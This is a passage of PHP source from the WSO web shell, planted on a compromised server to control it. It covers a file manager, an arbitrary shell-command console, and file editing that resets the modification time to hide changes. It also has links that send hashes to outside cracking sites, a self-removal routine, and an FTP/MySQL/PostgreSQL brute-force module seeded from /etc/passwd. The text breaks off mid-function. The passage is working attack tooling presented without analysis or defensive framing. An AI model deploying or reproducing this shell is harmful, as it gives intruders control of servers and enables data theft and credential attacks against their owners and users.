  677.                         if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
  678.                         }
  679.                     elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
  680.                     }
  681.  
  682.                 foreach($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
  683.                 }
  684.             elseif ($_COOKIE['act'] == 'zip')
  685.                 {
  686.                 if (class_exists('ZipArchive'))
  687.                     {
  688.                     $zip = new ZipArchive();
  689.                     if ($zip->open($_POST['p2'], 1))
  690.                         {
  691.                         chdir($_COOKIE['c']);
  692.                         foreach($_COOKIE['f'] as $f)
  693.                             {
  694.                             if ($f == '..') continue;
  695.                             if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
  696.                             elseif (@is_dir($_COOKIE['c'] . $f))
  697.                                 {
  698.                                 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
  699.                                 foreach($iterator as $key => $value)
  700.                                     {
  701.                                     $zip->addFile(realpath($key) , $key);
  702.                                     }
  703.                                 }
  704.                             }
  705.  
  706.                         chdir($GLOBALS['cwd']);
  707.                         $zip->close();
  708.                         }
  709.                     }
  710.                 }
  711.             elseif ($_COOKIE['act'] == 'unzip')
  712.                 {
  713.                 if (class_exists('ZipArchive'))
  714.                     {
  715.                     $zip = new ZipArchive();
  716.                     foreach($_COOKIE['f'] as $f)
  717.                         {
  718.                         if ($zip->open($_COOKIE['c'] . $f))
  719.                             {
  720.                             $zip->extractTo($GLOBALS['cwd']);
  721.                             $zip->close();
  722.                             }
  723.                         }
  724.                     }
  725.                 }
  726.             elseif ($_COOKIE['act'] == 'tar')
  727.                 {
  728.                 chdir($_COOKIE['c']);
  729.                 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  730.                 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  731.                 chdir($GLOBALS['cwd']);
  732.                 }
  733.  
  734.             unset($_COOKIE['f']);
  735.             setcookie('f', '', time() - 3600);
  736.             break;
  737.  
  738.         default:
  739.             if (!empty($_POST['p1']))
  740.                 {
  741.                 WSOsetcookie('act', $_POST['p1']);
  742.                 WSOsetcookie('f', serialize(@$_POST['f']));
  743.                 WSOsetcookie('c', @$_POST['c']);
  744.                 }
  745.  
  746.             break;
  747.             }
  748.         }
  749.  
  750.     wsoHeader();
  751.     echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  752.     $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
  753.     if ($dirContent === false)
  754.         {
  755.         echo 'Can\'t open this folder!';
  756.         wsoFooter();
  757.         return;
  758.         }
  759.  
  760.     global $sort;
  761.     $sort = array(
  762.         'name',
  763.         1
  764.     );
  765.     if (!empty($_POST['p1']))
  766.         {
  767.         if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array(
  768.             $match[1],
  769.             (int)$match[2]
  770.         );
  771.         }
  772.  
  773.     echo "<script>
  774.     function sa() {
  775.         for(i=0;i<d.files.elements.length;i++)
  776.             if(d.files.elements[i].type == 'checkbox')
  777.                 d.files.elements[i].checked = d.files.elements[0].checked;
  778.     }
  779. </script>
  780. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  781. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
  782.     $dirs = $files = array();
  783.     $n = count($dirContent);
  784.     for ($i = 0; $i < $n; $i++)
  785.         {
  786.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  787.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  788.         $tmp = array(
  789.             'name' => $dirContent[$i],
  790.             'path' => $GLOBALS['cwd'] . $dirContent[$i],
  791.             'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])) ,
  792.             'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]) ,
  793.             'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]) ,
  794.             'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]) ,
  795.             'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])
  796.         );
  797.         if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array(
  798.             'type' => 'file'
  799.         ));
  800.         elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array(
  801.             'type' => 'link',
  802.             'link' => readlink($tmp['path'])
  803.         ));
  804.         elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array(
  805.             'type' => 'dir'
  806.         ));
  807.         }
  808.  
  809.     $GLOBALS['sort'] = $sort;
  810.     function wsoCmp($a, $b)
  811.         {
  812.         if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]) , strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
  813.           else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
  814.         }
  815.  
  816.     usort($files, "wsoCmp");
  817.     usort($dirs, "wsoCmp");
  818.     $files = array_merge($dirs, $files);
  819.     $l = 0;
  820.     foreach($files as $f)
  821.         {
  822.         echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
  823.         $l = $l ? 0 : 1;
  824.         }
  825.  
  826.     echo "<tr><td colspan=7>
  827.     <input type=hidden name=a value='FilesMan'>
  828.     <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
  829.     <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
  830.     <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  831.     if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  832.     echo "<option value='tar'>Compress (tar.gz)</option>";
  833.     if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
  834.     echo "</select>&nbsp;";
  835.     if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
  836.     echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  837.     wsoFooter();
  838.     }
  839.  
  840. function actionStringTools()
  841.     {
  842.     if (!function_exists('hex2bin'))
  843.         {
  844.         function hex2bin($p)
  845.             {
  846.             return decbin(hexdec($p));
  847.             }
  848.         }
  849.  
  850.     if (!function_exists('binhex'))
  851.         {
  852.         function binhex($p)
  853.             {
  854.             return dechex(bindec($p));
  855.             }
  856.         }
  857.  
  858.     if (!function_exists('hex2ascii'))
  859.         {
  860.         function hex2ascii($p)
  861.             {
  862.             $r = '';
  863.             for ($i = 0; $i < strLen($p); $i+= 2)
  864.                 {
  865.                 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
  866.                 }
  867.  
  868.             return $r;
  869.             }
  870.         }
  871.  
  872.     if (!function_exists('ascii2hex'))
  873.         {
  874.         function ascii2hex($p)
  875.             {
  876.             $r = '';
  877.             for ($i = 0; $i < strlen($p); ++$i) $r.= sprintf('%02X', ord($p[$i]));
  878.             return strtoupper($r);
  879.             }
  880.         }
  881.  
  882.     if (!function_exists('full_urlencode'))
  883.         {
  884.         function full_urlencode($p)
  885.             {
  886.             $r = '';
  887.             for ($i = 0; $i < strlen($p); ++$i) $r.= '%' . dechex(ord($p[$i]));
  888.             return strtoupper($r);
  889.             }
  890.         }
  891.  
  892.     $stringTools = array(
  893.         'Base64 encode' => 'base64_encode',
  894.         'Base64 decode' => 'base64_decode',
  895.         'Url encode' => 'urlencode',
  896.         'Url decode' => 'urldecode',
  897.         'Full urlencode' => 'full_urlencode',
  898.         'md5 hash' => 'md5',
  899.         'sha1 hash' => 'sha1',
  900.         'crypt' => 'crypt',
  901.         'CRC32' => 'crc32',
  902.         'ASCII to HEX' => 'ascii2hex',
  903.         'HEX to ASCII' => 'hex2ascii',
  904.         'HEX to DEC' => 'hexdec',
  905.         'HEX to BIN' => 'hex2bin',
  906.         'DEC to HEX' => 'dechex',
  907.         'DEC to BIN' => 'decbin',
  908.         'BIN to HEX' => 'binhex',
  909.         'BIN to DEC' => 'bindec',
  910.         'String to lower case' => 'strtolower',
  911.         'String to upper case' => 'strtoupper',
  912.         'Htmlspecialchars' => 'htmlspecialchars',
  913.         'String length' => 'strlen',
  914.     );
  915.     if (isset($_POST['ajax']))
  916.         {
  917.         WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  918.         ob_start();
  919.         if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
  920.         $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()) , "\n\r\t\\'\0") . "';\n";
  921.         echo strlen($temp) , "\n", $temp;
  922.         exit;
  923.         }
  924.  
  925.     if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  926.     wsoHeader();
  927.     echo '<h1>String conversions</h1><div class=content>';
  928.     echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  929.     foreach($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
  930.     echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br /><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
  931.     if (!empty($_POST['p1']))
  932.         {
  933.         if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
  934.         }
  935.  
  936.     echo "</pre></div><br /><h1>Search files:</h1><div class=content>
  937.         <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  938.             <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  939.             <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
  940.             <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  941.             <tr><td></td><td><input type='submit' value='>>'></td></tr>
  942.             </table></form>";
  943.     function wsoRecursiveGlob($path)
  944.         {
  945.         if (substr($path, -1) != '/') $path.= '/';
  946.         $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']) , @glob($path . '*', GLOB_ONLYDIR)));
  947.         if (is_array($paths) && @count($paths))
  948.             {
  949.             foreach($paths as $item)
  950.                 {
  951.                 if (@is_dir($item))
  952.                     {
  953.                     if ($path != $item) wsoRecursiveGlob($item);
  954.                     }
  955.                   else
  956.                     {
  957.                     if (empty($_POST['p2']) || @strpos(file_get_contents($item) , $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br />";
  958.                     }
  959.                 }
  960.             }
  961.         }
  962.  
  963.     if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
  964.     echo "</div><br /><h1>Search for hash:</h1><div class=content>
  965.         <form method='post' target='_blank' name='hf'>
  966.             <input type='text' name='hash' style='width:200px;'><br />
  967.            <input type='hidden' name='act' value='find'/>
  968.             <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br />
  969.             <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br />
  970.            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br />
  971.         </form></div>";
  972.     wsoFooter();
  973.     }
  974.  
  975. function actionFilesTools()
  976.     {
  977.     if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
  978.     if (@$_POST['p2'] == 'download')
  979.         {
  980.         if (@is_file($_POST['p1']) && @is_readable($_POST['p1']))
  981.             {
  982.             ob_start("ob_gzhandler", 4096);
  983.             header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
  984.             if (function_exists("mime_content_type"))
  985.                 {
  986.                 $type = @mime_content_type($_POST['p1']);
  987.                 header("Content-Type: " . $type);
  988.                 }
  989.               else header("Content-Type: application/octet-stream");
  990.             $fp = @fopen($_POST['p1'], "r");
  991.             if ($fp)
  992.                 {
  993.                 while (!@feof($fp)) echo @fread($fp, 1024);
  994.                 fclose($fp);
  995.                 }
  996.             }
  997.  
  998.         exit;
  999.         }
  1000.  
  1001.     if (@$_POST['p2'] == 'mkfile')
  1002.         {
  1003.         if (!file_exists($_POST['p1']))
  1004.             {
  1005.             $fp = @fopen($_POST['p1'], 'w');
  1006.             if ($fp)
  1007.                 {
  1008.                 $_POST['p2'] = "edit";
  1009.                 fclose($fp);
  1010.                 }
  1011.             }
  1012.         }
  1013.  
  1014.     wsoHeader();
  1015.     echo '<h1>File tools</h1><div class=content>';
  1016.     if (!file_exists(@$_POST['p1']))
  1017.         {
  1018.         echo 'File not exists';
  1019.         wsoFooter();
  1020.         return;
  1021.         }
  1022.  
  1023.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1024.     if (!$uid)
  1025.         {
  1026.         $uid['name'] = @fileowner($_POST['p1']);
  1027.         $gid['name'] = @filegroup($_POST['p1']);
  1028.         }
  1029.       else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1030.     echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br />';
  1031.     echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br /><br />';
  1032.     if (empty($_POST['p2'])) $_POST['p2'] = 'view';
  1033.     if (is_file($_POST['p1'])) $m = array(
  1034.         'View',
  1035.         'Highlight',
  1036.         'Download',
  1037.         'Hexdump',
  1038.         'Edit',
  1039.         'Chmod',
  1040.         'Rename',
  1041.         'Touch'
  1042.     );
  1043.       else $m = array(
  1044.         'Chmod',
  1045.         'Rename',
  1046.         'Touch'
  1047.     );
  1048.     foreach($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
  1049.     echo '<br /><br />';
  1050.     switch ($_POST['p2'])
  1051.         {
  1052.     case 'view':
  1053.         echo '<pre class=ml1>';
  1054.         $fp = @fopen($_POST['p1'], 'r');
  1055.         if ($fp)
  1056.             {
  1057.             while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
  1058.             @fclose($fp);
  1059.             }
  1060.  
  1061.         echo '</pre>';
  1062.         break;
  1063.  
  1064.     case 'highlight':
  1065.         if (@is_readable($_POST['p1']))
  1066.             {
  1067.             echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1068.             $code = @highlight_file($_POST['p1'], true);
  1069.             echo str_replace(array(
  1070.                 '<span ',
  1071.                 '</span>'
  1072.             ) , array(
  1073.                 '<font ',
  1074.                 '</font>'
  1075.             ) , $code) . '</div>';
  1076.             }
  1077.  
  1078.         break;
  1079.  
  1080.     case 'chmod':
  1081.         if (!empty($_POST['p3']))
  1082.             {
  1083.             $perms = 0;
  1084.             for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
  1085.             if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br /><script>document.mf.p3.value="";</script>';
  1086.             }
  1087.  
  1088.         clearstatcache();
  1089.         echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])) , -4) . '"><input type=submit value=">>"></form>';
  1090.         break;
  1091.  
  1092.     case 'edit':
  1093.         if (!is_writable($_POST['p1']))
  1094.             {
  1095.             echo 'File isn\'t writeable';
  1096.             break;
  1097.             }
  1098.  
  1099.         if (!empty($_POST['p3']))
  1100.             {
  1101.             $time = @filemtime($_POST['p1']);
  1102.             $_POST['p3'] = substr($_POST['p3'], 1);
  1103.             $fp = @fopen($_POST['p1'], "w");
  1104.             if ($fp)
  1105.                 {
  1106.                 @fwrite($fp, $_POST['p3']);
  1107.                 @fclose($fp);
  1108.                 echo 'Saved!<br /><script>p3_="";</script>';
  1109.                 @touch($_POST['p1'], $time, $time);
  1110.                 }
  1111.             }
  1112.  
  1113.         echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1114.         $fp = @fopen($_POST['p1'], 'r');
  1115.         if ($fp)
  1116.             {
  1117.             while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
  1118.             @fclose($fp);
  1119.             }
  1120.  
  1121.         echo '</textarea><input type=submit value=">>"></form>';
  1122.         break;
  1123.  
  1124.     case 'hexdump':
  1125.         $c = @file_get_contents($_POST['p1']);
  1126.         $n = 0;
  1127.         $h = array(
  1128.             '00000000<br />',
  1129.             '',
  1130.             ''
  1131.         );
  1132.         $len = strlen($c);
  1133.         for ($i = 0; $i < $len; ++$i)
  1134.             {
  1135.             $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
  1136.             switch (ord($c[$i]))
  1137.                 {
  1138.             case 0:
  1139.                 $h[2].= ' ';
  1140.                 break;
  1141.  
  1142.             case 9:
  1143.                 $h[2].= ' ';
  1144.                 break;
  1145.  
  1146.             case 10:
  1147.                 $h[2].= ' ';
  1148.                 break;
  1149.  
  1150.             case 13:
  1151.                 $h[2].= ' ';
  1152.                 break;
  1153.  
  1154.             default:
  1155.                 $h[2].= $c[$i];
  1156.                 break;
  1157.                 }
  1158.  
  1159.             $n++;
  1160.             if ($n == 32)
  1161.                 {
  1162.                 $n = 0;
  1163.                 if ($i + 1 < $len)
  1164.                     {
  1165.                     $h[0].= sprintf('%08X', $i + 1) . '<br />';
  1166.                     }
  1167.  
  1168.                 $h[1].= '<br />';
  1169.                 $h[2].= "\n";
  1170.                 }
  1171.             }
  1172.  
  1173.         echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
  1174.         break;
  1175.  
  1176.     case 'rename':
  1177.         if (!empty($_POST['p3']))
  1178.             {
  1179.             if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br />';
  1180.               else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
  1181.             }
  1182.  
  1183.         echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
  1184.         break;
  1185.  
  1186.     case 'touch':
  1187.         if (!empty($_POST['p3']))
  1188.             {
  1189.             $time = strtotime($_POST['p3']);
  1190.             if ($time)
  1191.                 {
  1192.                 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
  1193.                   else echo 'Touched!';
  1194.                 }
  1195.               else echo 'Bad time format!';
  1196.             }
  1197.  
  1198.         clearstatcache();
  1199.         echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
  1200.         break;
  1201.         }
  1202.  
  1203.     echo '</div>';
  1204.     wsoFooter();
  1205.     }
  1206.  
  1207. function actionConsole()
  1208.     {
  1209.     if (!empty($_POST['p1']) && !empty($_POST['p2']))
  1210.         {
  1211.         WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
  1212.         $_POST['p1'].= ' 2>&1';
  1213.         }
  1214.     elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
  1215.     if (isset($_POST['ajax']))
  1216.         {
  1217.         WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  1218.         ob_start();
  1219.         echo "d.cf.cmd.value='';\n";
  1220.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']) , "\n\r\t\\'\0"));
  1221.         if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match))
  1222.             {
  1223.             if (@chdir($match[1]))
  1224.                 {
  1225.                 $GLOBALS['cwd'] = @getcwd();
  1226.                 echo "c_='" . $GLOBALS['cwd'] . "';";
  1227.                 }
  1228.             }
  1229.  
  1230.         echo "d.cf.output.value+='" . $temp . "';";
  1231.         echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1232.         $temp = ob_get_clean();
  1233.         echo strlen($temp) , "\n", $temp;
  1234.         exit;
  1235.         }
  1236.  
  1237.     if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  1238.     wsoHeader();
  1239.     echo "<script>
  1240. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1241. var cmds = new Array('');
  1242. var cur = 0;
  1243. function kp(e) {
  1244.     var n = (window.Event) ? e.which : e.keyCode;
  1245.     if(n == 38) {
  1246.         cur--;
  1247.         if(cur>=0)
  1248.             document.cf.cmd.value = cmds[cur];
  1249.           else
  1250.             cur++;
  1251.     } else if(n == 40) {
  1252.         cur++;
  1253.         if(cur < cmds.length)
  1254.             document.cf.cmd.value = cmds[cur];
  1255.           else
  1256.             cur--;
  1257.     }
  1258. }
  1259. function add(cmd) {
  1260.     cmds.pop();
  1261.     cmds.push(cmd);
  1262.     cmds.push('');
  1263.     cur = cmds.length-1;
  1264. }
  1265. </script>";
  1266.     echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1267.     foreach($GLOBALS['aliases'] as $n => $v)
  1268.         {
  1269.         if ($v == '')
  1270.             {
  1271.             echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
  1272.             continue;
  1273.             }
  1274.  
  1275.         echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
  1276.         }
  1277.  
  1278.     echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1279.     if (!empty($_POST['p1']))
  1280.         {
  1281.         echo htmlspecialchars("$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
  1282.         }
  1283.  
  1284.     echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1285.     echo '</form></div><script>d.cf.cmd.focus();</script>';
  1286.     wsoFooter();
  1287.     }
  1288.  
  1289. function actionLogout()
  1290.     {
  1291.     setcookie(md5($_SERVER['HTTP_HOST']) , '', time() - 3600);
  1292.     die('bye!');
  1293.     }
  1294.  
  1295. function actionSelfRemove()
  1296.     {
  1297.     if ($_POST['p1'] == 'yes')
  1298.     if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
  1299.       else echo 'unlink error!';
  1300.     if ($_POST['p1'] != 'yes') wsoHeader();
  1301.     echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br /><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1302.     wsoFooter();
  1303.     }
  1304.  
  1305. function actionBruteforce()
  1306.     {
  1307.     wsoHeader();
  1308.     if (isset($_POST['proto']))
  1309.         {
  1310.         echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br />';
  1311.         if ($_POST['proto'] == 'ftp')
  1312.             {
  1313.             function wsoBruteForce($ip, $port, $login, $pass)
  1314.                 {
  1315.                 $fp = @ftp_connect($ip, $port ? $port : 21);
  1316.                 if (!$fp) return false;
  1317.                 $res = @ftp_login($fp, $login, $pass);
  1318.                 @ftp_close($fp);
  1319.                 return $res;
  1320.                 }
  1321.             }
  1322.         elseif ($_POST['proto'] == 'mysql')
  1323.             {
  1324.             function wsoBruteForce($ip, $port, $login, $pass)
  1325.                 {
  1326.                 $res = @mysql_connect($ip . ':' . ($port ? $port : 3306) , $login, $pass);
  1327.                 @mysql_close($res);
  1328.                 return $res;
  1329.                 }
  1330.             }
  1331.         elseif ($_POST['proto'] == 'pgsql')
  1332.             {
  1333.             function wsoBruteForce($ip, $port, $login, $pass)
  1334.                 {
  1335.                 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
  1336.                 $res = @pg_connect($str);
  1337.                 @pg_close($res);
  1338.                 return $res;
  1339.                 }
  1340.             }
  1341.  
  1342.         $success = 0;
  1343.         $attempts = 0;
  1344.         $server = explode(":", $_POST['server']);
  1345.         if ($_POST['type'] == 1)
  1346.             {
  1347.             $temp = @file('/etc/passwd');
  1348.             if (is_array($temp))
  1349.             foreach($temp as $line)
  1350.                 {
  1351.                 $line = explode(":", $line);
  1352.                 ++$attempts;
  1353.                 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0]))
  1354.                     {
  1355.                     $success++;
  1356.                     echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br />';
  1357.                     }
  1358.  
  1359.                 if (@$_POST['reverse'])
  1360.                     {
  1361.                     $tmp = "";
